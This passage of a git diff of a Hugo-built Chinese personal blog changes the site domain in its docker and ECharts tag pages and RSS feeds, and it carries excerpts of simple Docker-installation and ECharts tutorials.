157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="docker"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/docker/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="docker"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>docker</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>docker | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/docker/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/docker/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="docker"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/docker/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="docker"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>docker</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -27,7 +27,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://xiaochenabc123.github.io/posts/18/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://chenjunlinabc.github.io/posts/18/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/docker/index.xml b/tags/docker/index.xml
index 1a2d20b3..9174b0a9 100644
--- a/tags/docker/index.xml
+++ b/tags/docker/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>docker on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/docker/</link>
+    <link>https://chenjunlinabc.github.io/tags/docker/</link>
     <description>Recent content in docker on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:34:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/docker/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:34:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/docker/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Docker容器的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/18/</link>
+      <link>https://chenjunlinabc.github.io/posts/18/</link>
       <pubDate>Wed, 16 Jun 2021 09:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/18/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/18/</guid>
       <description>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
diff --git a/tags/docker/page/1/index.html b/tags/docker/page/1/index.html
index 7572d5cd..26bcccbc 100644
--- a/tags/docker/page/1/index.html
+++ b/tags/docker/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/docker/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/docker/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/docker/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/docker/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/docker/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/docker/"></head></html>
\ No newline at end of file
diff --git a/tags/echarts/index.html b/tags/echarts/index.html
index 9ca91185..1ea25672 100644
--- a/tags/echarts/index.html
+++ b/tags/echarts/index.html
@@ -1,38 +1,7 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>ECharts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/echarts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/echarts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ECharts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/echarts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ECharts"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>ECharts</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>ECharts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/echarts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/echarts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ECharts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/echarts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ECharts"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>ECharts</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
-第一个实例
-import * as echarts from 'echarts'
-let app = echarts.init(document.getElementById('app'), null, {
-width: 800,
-height: 500
-})
-let data = {
-title: {
-text: '用户管理'
-},
-tooltip:{},
-legend: {
-data: ['用户']
-},
-xAxis: {
-data: [
-'root','admin','user1','user2','user3'
-]
-},
-yAxis: {},
-series: [
-{
-name: '用户权限',
-type: 'bar',
-data: [
-10,8,5,1,3
-]
-}
-]
-}
-app.setOption(data)
-注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://xiaochenabc123.github.io/posts/153/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://chenjunlinabc.github.io/posts/153/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/echarts/index.xml b/tags/echarts/index.xml
index 472e30f0..ccfc6996 100644
--- a/tags/echarts/index.xml
+++ b/tags/echarts/index.xml
@@ -2,26 +2,26 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>ECharts on 小陈的个人博客</title>
